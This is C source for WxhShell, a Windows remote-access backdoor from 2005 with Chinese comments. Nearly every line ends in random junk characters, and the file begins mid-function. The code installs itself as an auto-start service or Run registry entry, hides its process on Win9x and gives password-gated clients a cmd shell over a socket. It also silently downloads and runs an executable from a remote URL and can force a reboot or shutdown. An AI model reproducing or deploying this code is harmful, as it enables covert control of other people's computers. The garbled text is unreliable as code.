    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2!.3<#  
    else { !$j'F?2 >  
    closesocket(wsh); 74Lq!e3hMF  
    ExitThread(0); ~U`aH~R  
    } !+i  
    break; dme_Ivt  
    } |KuH2, n0  
  // 获取shell 8$1<N  
  case 's': { G*ecM`Bl  
    CmdShell(wsh); YS/4<QA[  
    closesocket(wsh); $N~8 ^6  
    ExitThread(0); 8kk$:8  
    break; &",pPu q  
  } J 9z\ qTI  
  // 退出 ZZ.GpB.  
  case 'x': { \MnlRBUM,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vuHqOAFNs  
    CloseIt(wsh); v=!]t=P)t  
    break; lOql(ZH`w  
    } Q~nc:eWD  
  // 离开 B&cC;Hw  
  case 'q': { tv5SQ+AI3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =^NR(:SaaU  
    closesocket(wsh); t|1?mH9  
    WSACleanup(); A%pcPzG;  
    exit(1); 60Y&)UR  
    break; d&F8nBIM5  
        } "Q ^Ck7  
  } 8@Pv nOL  
  } Or0=:?4`  
;8H m#p7,  
  // 提示信息 5EM(3eY^q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LyH{{+V  
} Yz4Q!tL  
  } S-GcH  
Pr9$( 6MX  
  return; Tm qtj  
} z.--"cF  
e+j7dmGa  
// shell模块句柄 >k5nU^|B1  
int CmdShell(SOCKET sock) x8w455  
{ UO>ADRs}  
STARTUPINFO si; V0XQG}  
ZeroMemory(&si,sizeof(si)); ,!Gw40t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vdV@G`)HPr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |#>\GU=!  
PROCESS_INFORMATION ProcessInfo; o[X 'We;  
char cmdline[]="cmd"; HTA Jn_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2Gd.B/L6  
  return 0; )l~:P uvh  
} *F[@lY\p  
k?ZtRhPu3X  
// 自身启动模式 ,3=|a|p  
int StartFromService(void) a"@k11  
{ hOG9  
typedef struct p3`ND;KQ  
{ 7.`Fe g.  
  DWORD ExitStatus; Gm~jC <  
  DWORD PebBaseAddress; }rRf4te  
  DWORD AffinityMask; -{n2^vvF  
  DWORD BasePriority; ~PAF2  
  ULONG UniqueProcessId; F%M4i`Vh  
  ULONG InheritedFromUniqueProcessId; `lygJI?H+{  
}   PROCESS_BASIC_INFORMATION; LQ(z~M0B  
r)E9]"TAB  
PROCNTQSIP NtQueryInformationProcess; QQ;<L"VW  
o."k7fLB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D+.< kY.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2[-@ .gH  
>zx]% W  
  HANDLE             hProcess; ?tx%K U\3  
  PROCESS_BASIC_INFORMATION pbi; )IQ5Qu  
<?yf<G'$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6:_@;/03%  
  if(NULL == hInst ) return 0; e1ts/@V  
M uz+j.0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `TwDR6&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3*INDD=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }(tuBJ9  
mXAGa8##j  
  if (!NtQueryInformationProcess) return 0; K=lm9K  
{P/ sxh:e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RgTm^?Ex  
  if(!hProcess) return 0; ye?4^@u u  
&ed&2t`Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;6+e!h'1  
wwmHr!b:6  
  CloseHandle(hProcess); /1D]\k()  
DPV>2' fV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a* 2*aH7  
if(hProcess==NULL) return 0; ly_@dsU'  
'?$N.lj$d  
HMODULE hMod; 1=o|[7  
char procName[255]; ayGYVYi  
unsigned long cbNeeded; 7 k:w3M  
_T\/kJ)Q\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8nV#\J9  
(g(.gN]  
  CloseHandle(hProcess); KH=4A-e,0  
/i !3Fr"  
if(strstr(procName,"services")) return 1; // 以服务启动 [B0]%!hFw  
S<Rl?El<=  
  return 0; // 注册表启动 X6h@K</c^:  
} J~jxmh  
l(Y U9dp  
// 主模块 k 'CM^,F&  
int StartWxhshell(LPSTR lpCmdLine) PJ$C$G  
{ Nd;)V  
  SOCKET wsl; heizO",8.&  
BOOL val=TRUE; >0XB7sC  
  int port=0; ?v5OUmFM  
  struct sockaddr_in door; W~W `fm  
l^~E+F~  
  if(wscfg.ws_autoins) Install(); ;~^9$Z@%Q  
n7A %y2  
port=atoi(lpCmdLine); V eD<1<  
%@q/OVnM  
if(port<=0) port=wscfg.ws_port; ,)svSzR  
<i1.W !%  
  WSADATA data; \c1NIuJR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u*h+ c8|zI  
kO)+%'L!8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i!nPiac  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TXH9BlDn  
  door.sin_family = AF_INET; 7^hwRZJ{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <jjn'*44f  
  door.sin_port = htons(port); ;)c 4  
1woBw>g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PV(TDb:0  
closesocket(wsl); <+r<3ZBA  
return 1; `@tn Eg  
} _+0Q Q{'N  
MJ% gF=$X  
  if(listen(wsl,2) == INVALID_SOCKET) { ^#0k\f>_  
closesocket(wsl); h%=>iQ%enc  
return 1; jmkVolz  
} ~N!-4-~p  
  Wxhshell(wsl); j34L*?  
  WSACleanup(); \v,m r|  
%=PGvu  
return 0; f 8AgTw,K8  
4k6,pt"  
} k6(9Rw8bCk  
z>&|:VGG  
// 以NT服务方式启动 Fx]}<IudA^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xlHC?d0}  
{ #ouE, <  
DWORD   status = 0; i,R+C.6{  
  DWORD   specificError = 0xfffffff; O\z]1`i*o  
=)O%5<Lwx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (Z)F6sZ`8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M#'j7EMu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QVq+';cG  
  serviceStatus.dwWin32ExitCode     = 0; ]hC6PKJU  
  serviceStatus.dwServiceSpecificExitCode = 0; #CcC& I :c  
  serviceStatus.dwCheckPoint       = 0; -V\$oVS0S  
  serviceStatus.dwWaitHint       = 0; 8~6H\.0Q  
g/_j"Nn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,T<q"d7-#  
  if (hServiceStatusHandle==0) return; Q[Xh{B  
rd\:.  
status = GetLastError(); R4 x!b`:i  
  if (status!=NO_ERROR) EsK.g/d  
{ 6|HxBC#4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6!Z>^'6  
    serviceStatus.dwCheckPoint       = 0;  tOEY|  
    serviceStatus.dwWaitHint       = 0; ZaKT~f%%z  
    serviceStatus.dwWin32ExitCode     = status; J6s@}@R1  
    serviceStatus.dwServiceSpecificExitCode = specificError; WA1h|:Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%#&@  
    return; f?P>P23  
  } qwd7vYBc,  
ROWrkJI>i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 >2g&);B  
  serviceStatus.dwCheckPoint       = 0; J}M_Ka  
  serviceStatus.dwWaitHint       = 0; *F)+- BB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WNo",Vc  
} Kx<T;iJ}  
kE` V@F  
// 处理NT服务事件,比如:启动、停止 =e j'5m($3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W, YYL(L  
{ qbZY[Q+F  
switch(fdwControl) YZllfw$9  
{ K H&o`U(}  
case SERVICE_CONTROL_STOP: Ao}J   
  serviceStatus.dwWin32ExitCode = 0; ;"T,3JQPn6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DM[gjfMXu  
  serviceStatus.dwCheckPoint   = 0; %'vLkjI.  
  serviceStatus.dwWaitHint     = 0; +[C><uP  
  { tg|7\Z7i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TLWU7aj&!  
  } 2z+-vT%  
  return; RX6s[uQ  
case SERVICE_CONTROL_PAUSE: WPXLN'w+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )&$p?kF  
  break; 9@{=2 k  
case SERVICE_CONTROL_CONTINUE: KvtX>3#qM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CgxGvM4  
  break; lAZn0EU  
case SERVICE_CONTROL_INTERROGATE: !c#~g0H+  
  break; B(/)mB  
}; s;NPY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bq 9 Eu1  
} 6O9?":3;  
tLc 9-  
// 标准应用程序主函数 (Ymj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i<>zN^zn  
{ KDUa0$"  
,{rm<M.)  
// 获取操作系统版本 d|Q_Z@;JF  
OsIsNt=GetOsVer(); +\@}IKWl-?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5L%\rH&N  
_A5.  
  // 从命令行安装 cZd{K[fuK  
  if(strpbrk(lpCmdLine,"iI")) Install(); )xPfz  
W]l&mr  
  // 下载执行文件 aW.[3M;?v  
if(wscfg.ws_downexe) { [\ALT8vC?m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qe,aIh  
  WinExec(wscfg.ws_filenam,SW_HIDE); t;2\(_A  
} %M KZ':m  
hantGw |  
if(!OsIsNt) { J=@D]I*3  
// 如果时win9x,隐藏进程并且设置为注册表启动 H1^m>4ll9  
HideProc(); B!X;T9^d  
StartWxhshell(lpCmdLine); "T+oXK\B  
} ?r"QJa>  
else !`$xN~_  
  if(StartFromService()) W!.vP~>  
  // 以服务方式启动 Jg:%|g  
  StartServiceCtrlDispatcher(DispatchTable); ^w1&A 3=6  
else pZUXXX  
  // 普通方式启动 b?Zt3#  
  StartWxhshell(lpCmdLine); /CW 0N@  
%hM8px4d  
return 0; x;; =+)Gg  
} G+dQ" cI9  
gZ b +m  
'L1=:g.\i  
5:r*em  
=========================================== g$P<`.  
%40uw3  
!Ic{lB   
C[0*>W8o  
 +?I 1Og  
_/(7:  
" 9+!1jTGSkf  
6Uik>e7?  
#include <stdio.h> 9f/RD?(1O  
#include <string.h> '1u!@=.\G  
#include <windows.h> rQ+2 -|#  
#include <winsock2.h> G,]%dZH e  
#include <winsvc.h> N~/D| ?P~2  
#include <urlmon.h> <.6bni )  
14LOeo5O  
#pragma comment (lib, "Ws2_32.lib") H)u<$y!8  
#pragma comment (lib, "urlmon.lib") >^\}"dEvr  
U! xOJ  
#define MAX_USER   100 // 最大客户端连接数 Ta 0Ln  
#define BUF_SOCK   200 // sock buffer 'tRaF  
#define KEY_BUFF   255 // 输入 buffer Ny oRp  
nGvWlx  
#define REBOOT     0   // 重启 g*uo2-MN&e  
#define SHUTDOWN   1   // 关机 ]EhU8bZ  
!~Am1\02  
#define DEF_PORT   5000 // 监听端口 v\;hI5WY  
O5;$cP:  
#define REG_LEN     16   // 注册表键长度 CG -^}xE:  
#define SVC_LEN     80   // NT服务名长度 a`:ag~op@&  
9~FB^3Nz_  
// 从dll定义API w)u6J ,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K.{:H4_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kS@6'5U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B > sTM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G"~%[k  
k OycS  
// wxhshell配置信息 uBPxMwohR  
struct WSCFG { #UO#kC<2(B  
  int ws_port;         // 监听端口 ls<7Qe"a  
  char ws_passstr[REG_LEN]; // 口令 |KM<\v(A{  
  int ws_autoins;       // 安装标记, 1=yes 0=no R>05MhA+  
  char ws_regname[REG_LEN]; // 注册表键名 ND3(oes+;K  
  char ws_svcname[REG_LEN]; // 服务名 :W++`f&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LZ"yMnhOf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lh"!Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s?j` _ B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jZ;dY~fE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" svBT~P0x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~MOab e  
0."TSe83\  
}; "gR W91 T  
w=r3QKm#K  
// default Wxhshell configuration )7H s  
struct WSCFG wscfg={DEF_PORT, `9+>2*k  
    "xuhuanlingzhe", iyRB}[y  
    1, ~;pv &s5}  
    "Wxhshell", 7xmyjy%c  
    "Wxhshell", NvZ )zE  
            "WxhShell Service", )AX0x1I|E  
    "Wrsky Windows CmdShell Service", ]Gm $0uS  
    "Please Input Your Password: ", YRkp(}*!\  
  1, 1b6o x6  
  "http://www.wrsky.com/wxhshell.exe", ZW]Q|vPh4U  
  "Wxhshell.exe" xKKR'v:o\  
    }; HhmC+3w.7  
| Q Y_ci  
// 消息定义模块 R"au8f.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :oH~{EQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ed,w-;(n~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]aqHk  
char *msg_ws_ext="\n\rExit."; nbnbG0r:  
char *msg_ws_end="\n\rQuit."; m]bv2S+5y  
char *msg_ws_boot="\n\rReboot..."; m"2KAq61  
char *msg_ws_poff="\n\rShutdown..."; iXN7+QO)  
char *msg_ws_down="\n\rSave to "; lF:gQ]oc  
MI|51&m  
char *msg_ws_err="\n\rErr!"; Fb<r~2  
char *msg_ws_ok="\n\rOK!"; YU89m7cc'  
6,"fH{Bd  
char ExeFile[MAX_PATH]; "d a%@Zy  
int nUser = 0; FkdG@7Xf  
HANDLE handles[MAX_USER]; ~ caKzq  
int OsIsNt; wff&ci28  
hcw)qB,s  
SERVICE_STATUS       serviceStatus; 05(lh<C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dOm#NSJVd  
&%~2Wm  
// 函数声明 AsRS7V  
int Install(void); r( _9_%[  
int Uninstall(void); uiO7sf6  
int DownloadFile(char *sURL, SOCKET wsh); dbTPY`  
int Boot(int flag); u,:GJU  
void HideProc(void); {:&t;5qz^  
int GetOsVer(void); DnA}!s  
int Wxhshell(SOCKET wsl); 7xP>AU)y  
void TalkWithClient(void *cs); '`q&UPg]  
int CmdShell(SOCKET sock); DLYk#d: q?  
int StartFromService(void); )5Ddvz>+  
int StartWxhshell(LPSTR lpCmdLine); `A@{})+  
; d1\2H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QN_Zd@K*A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0>Y3>vwSl  
I_mnXd;n  
// 数据结构和表定义 N"2Ire  
SERVICE_TABLE_ENTRY DispatchTable[] = \|Pp%U [  
{ ?5e:w?&g@  
{wscfg.ws_svcname, NTServiceMain}, $m`?x5rL8  
{NULL, NULL} "d'D:>z]%  
}; !/G2vF"  
@Otom'O  
// 自我安装 0  ;$[  
int Install(void) V`Z-m-V~1  
{ @b\/\\{  
  char svExeFile[MAX_PATH]; (tV/.x*G  
  HKEY key; * 8n0  
  strcpy(svExeFile,ExeFile); Jg=[!j0(  
+]-~UsM  
// 如果是win9x系统,修改注册表设为自启动 bX%9'O[-  
if(!OsIsNt) { )Xxu-/-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Tf845  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JQQP!]%}  
  RegCloseKey(key); N;e d_!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !6hUTjhW7z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mGZ^K,)&OR  
  RegCloseKey(key); bD[W`yW0  
  return 0; 6p%;:mDB  
    } iE$qq ~%  
  } [k-Q89  
} E}K6Op;=v5  
else { G9ku(2cq  
B2Qt tcJ  
// 如果是NT以上系统,安装为系统服务 -ju&"L B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); | T<t19  
if (schSCManager!=0) ]ovP^]]V  
{ Coz\fL  
  SC_HANDLE schService = CreateService 7 sv 3=/`  
  ( Jhdo#}Ub  
  schSCManager, Eb66GXF[  
  wscfg.ws_svcname, Mz,G;x}  
  wscfg.ws_svcdisp, F)_zR  
  SERVICE_ALL_ACCESS, F]kn4zr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y=+pz^/"  
  SERVICE_AUTO_START, Z _W.iBF  
  SERVICE_ERROR_NORMAL, U^iNOMs?  
  svExeFile, 7 lc -  
  NULL, T.\=R  
  NULL, W8{g<. /  
  NULL, H/"$#8-/  
  NULL, P%w)*);  
  NULL [w&B>z=g$  
  ); / i[F  
  if (schService!=0) ZoJ_I >uv  
  { 5Fa.X|R~  
  CloseServiceHandle(schService); h= tzG KI  
  CloseServiceHandle(schSCManager); 1vw [{.wC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vz'/]E  
  strcat(svExeFile,wscfg.ws_svcname); %0 cFs'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @@->A9'L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <y4hK3wP  
  RegCloseKey(key); r6_g/7.-  
  return 0; ~jcdnm]  
    } VZhtx)  
  } 6! `^}4  
  CloseServiceHandle(schSCManager); Eod'Esye5  
} })~M}d2LXB  
} H!N`hEEj>  
Lg6;FbY?  
return 1; .8[*`%K>  
} p1}umDb%  
g~ubivl2  
// 自我卸载 a6Zg~>vX  
int Uninstall(void) 1nGpW$Gx  
{ mO#62e4C  
  HKEY key; [%?ViKW  
3` ,u^ w  
if(!OsIsNt) { vGX L'k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rda~Drz  
  RegDeleteValue(key,wscfg.ws_regname); C[X2]zr  
  RegCloseKey(key); Lp1\vfU<+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ec2?'*s   
  RegDeleteValue(key,wscfg.ws_regname); pUV4oyGV   
  RegCloseKey(key); 4eD>DW  
  return 0; #!yW)RG  
  } v?6g. [;?  
} "+dByaY  
} *OM+d$l!  
else { k[ZkVwx  
[N=v=J9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 r9.JS  
if (schSCManager!=0) q0sdL86  
{ G*N}X3H:o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wf`e3S  
  if (schService!=0) 'lWgHmE  
  { z79c30y]"  
  if(DeleteService(schService)!=0) { pB;8yz=  
  CloseServiceHandle(schService); c9/&A  
  CloseServiceHandle(schSCManager); %mFZ!(  
  return 0; x?6 \C-i  
  } lnQfpa8j  
  CloseServiceHandle(schService); H$M{thW  
  } ,v@C=4'm  
  CloseServiceHandle(schSCManager); pP|LSr Y!  
} KAI/*G\z  
} k1_" }B5  
qGkD] L  
return 1; *]K/8MbiF  
} ]1)#Y   
. UaLP  
// 从指定url下载文件 s2kom)  
int DownloadFile(char *sURL, SOCKET wsh) Fi8#r)G.  
{ n4A#T#D!t3  
  HRESULT hr; E``\Jre@  
char seps[]= "/"; @AfC$T  
char *token; v/G)E_  
char *file; Vjqs\  
char myURL[MAX_PATH]; )YY8`\F>1  
char myFILE[MAX_PATH]; t 2Y2v2 J  
phP%  
strcpy(myURL,sURL); S2PPwCU  
  token=strtok(myURL,seps); lU8X{SV!  
  while(token!=NULL) S4C4_*~Vd  
  { dw YGhhm  
    file=token; ,sZ)@?e  
  token=strtok(NULL,seps); @!KG;d:l  
  } ;y]BXW&l&  
QdK PzjA  
GetCurrentDirectory(MAX_PATH,myFILE); )\m%&EXG{  
strcat(myFILE, "\\"); j<PpCL_8%  
strcat(myFILE, file); +@BjQ|UZ  
  send(wsh,myFILE,strlen(myFILE),0); :TRhk.  
send(wsh,"...",3,0); X$(YCb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \H {UJ  
  if(hr==S_OK) $Ma*qEB  
return 0; z;lWr(-x  
else 8dlhL8#  
return 1; %d^ =$Q  
PM8*/4Cu.5  
} 7*(K%e"U  
hwi$:[  
// 系统电源模块 "VgPaz#  
int Boot(int flag) ,T0q.!d  
{ $^5c8wT  
  HANDLE hToken; d37|o3oC  
  TOKEN_PRIVILEGES tkp; / TAza9a  
8],tGMu  
  if(OsIsNt) { fp2uk3Bm[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O)D+u@RhH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .9$ 7 +  
    tkp.PrivilegeCount = 1; 4=C7V,a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >vZ^D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rd ,5 &X$  
if(flag==REBOOT) { qMmhVUx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wvPS0]  
  return 0; nEfQLkb[|  
} S&{#sl#e  
else { @% .;}tC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u$ a7  
  return 0; |`Q2K9'4bL  
} T3In0LQ  
  } pe>[Ts`2F  
  else { q4]Qvf>  
if(flag==REBOOT) { w3 K>IDWI7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;{Tf:j'g  
  return 0; x]pZcx9  
} 6rh^?B  
else { 9k3RC}dEr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n|) JhXQ  
  return 0; nrJW.F]S8[  
} N6w!V]b  
} yBnUz"  
.M>g`UW  
return 1; m?`?T   
} r@ v&~pL  
r%vO^8FQ  
// win9x进程隐藏模块 ?xYoCn}Z  
void HideProc(void) 4&wwmAp^  
{ '=cAdja  
cOb ,Md  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VZCCMh-  
  if ( hKernel != NULL ) lzK,VZ=mM  
  { llRQxk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D |9ItxYu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aJSBG|IC  
    FreeLibrary(hKernel); v<V9Z <ub  
  } QRlrcauM  
v|GDPq  
return; mecm,xwm  
} IpKpj"eoLy  
E2( {[J  
// 获取操作系统版本 nPj &a  
int GetOsVer(void) -"/l)1ox,  
{ n--w-1  
  OSVERSIONINFO winfo; ,xuA%CF-S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r"x/,!_E  
  GetVersionEx(&winfo); ghDOz 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $-"V 2  
  return 1; SEsLJ?Dv0  
  else nW!pOTJq21  
  return 0; k/.a yLq  
} #6F/:j;  
),&tF_z:  
// 客户端句柄模块 } .'\IR  
int Wxhshell(SOCKET wsl) ~.&2N Ur  
{ qN(,8P\90  
  SOCKET wsh; Z{rD4S @^  
  struct sockaddr_in client; V8+8?5'l  
  DWORD myID; ?b3({P  
\@hq7:Q  
  while(nUser<MAX_USER) Y(Q!OeC  
{ GcCMCR3  
  int nSize=sizeof(client); yvt :/X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * $v`5rP  
  if(wsh==INVALID_SOCKET) return 1;   7)  
uJu#Vr:m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f1 TYQ?e  
if(handles[nUser]==0) MfK}DEJK,  
  closesocket(wsh); |!\5nix3A>  
else I'a&n}j x  
  nUser++; P=PVOt@ b  
  } JmJNq$2#c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /4bHN:I]M  
IM*T+iRKqF  
  return 0; K %Qj<{)  
} Fa^I 1fk  
x'hUw*  
// 关闭 socket 5#hsy;q;[  
void CloseIt(SOCKET wsh) U[WR?J4~LX  
{ K f}h{X  
closesocket(wsh); 0="U'|J_  
nUser--; /Lt Lu  
ExitThread(0); ^rIe"Kx  
} 6Cz%i 6)  
O\ph!?L  
// 客户端请求句柄 c/ s$*"  
void TalkWithClient(void *cs) 7@l.ZECJ1  
{ qe_59'K  
oH]"F  
  SOCKET wsh=(SOCKET)cs; mmx; Vt$i  
  char pwd[SVC_LEN]; ;+Uc} =  
  char cmd[KEY_BUFF]; i\94e{uty[  
char chr[1]; t?6_^ 08  
int i,j; XX;MoE~MM  
U5pg<xI  
  while (nUser < MAX_USER) { hB 36o9|9  
fqQ(EVpQ  
if(wscfg.ws_passstr) { qGH\3g-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aK4ZH}XHE"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %X>P+6<=  
  //ZeroMemory(pwd,KEY_BUFF); {c\KiWN  
      i=0; `zBQ:_3J_  
  while(i<SVC_LEN) { `ot <BwxJ  
/>[X k  
  // 设置超时 Bgy?k K2[  
  fd_set FdRead; $9m>(b/;n  
  struct timeval TimeOut; DC6xet{  
  FD_ZERO(&FdRead); +ZU@MOni  
  FD_SET(wsh,&FdRead); NP< {WL#  
  TimeOut.tv_sec=8; 1Z| {3W  
  TimeOut.tv_usec=0; ,a1 1&"xl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +PGtO9}B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pR*)\@ma  
|uRZT3bGyj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cJ#|mzup  
  pwd=chr[0]; #V:28[  
  if(chr[0]==0xd || chr[0]==0xa) { oA'LQ  
  pwd=0; pXBlTZf  
  break; syR +;  
  } i!+Wv-  
  i++; U{%N.4:   
    } x;L.j7lzA;  
O2 sAt3'  
  // 如果是非法用户,关闭 socket \~bx%VWW4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +M %zOX/  
} bL9EX$P  
xHo iu$i6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q@"mL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E` aAPk_ y  
pg:1AAhT[  
while(1) { '}|sRuftb  
]x<`(  
  ZeroMemory(cmd,KEY_BUFF); ZN]LJ4|xu  
c2iPm9"eh  
      // 自动支持客户端 telnet标准   <!qv$3/7  
  j=0; >nA6w$  
  while(j<KEY_BUFF) { 1P1"xT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X 'W8 mqk  
  cmd[j]=chr[0]; g k.c"$2  
  if(chr[0]==0xa || chr[0]==0xd) { Sgy_?Y  
  cmd[j]=0; R]y[n;aGC  
  break; %/r}_V(UN  
  } Y::I_6[eV  
  j++; a&*fk?o  
    } wf[B-2q)  
@=kDaPme92  
  // 下载文件 4LfD{-_uW  
  if(strstr(cmd,"http://")) { @C34^\aH+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?-g/hXx;  
  if(DownloadFile(cmd,wsh)) tnCGa%M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i& ,Wg8#R  
  else A^9RGz4=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j>KJgSs]&\  
  } C ~&~Ano,  
  else { n M?mdb  
|_7AN!7j  
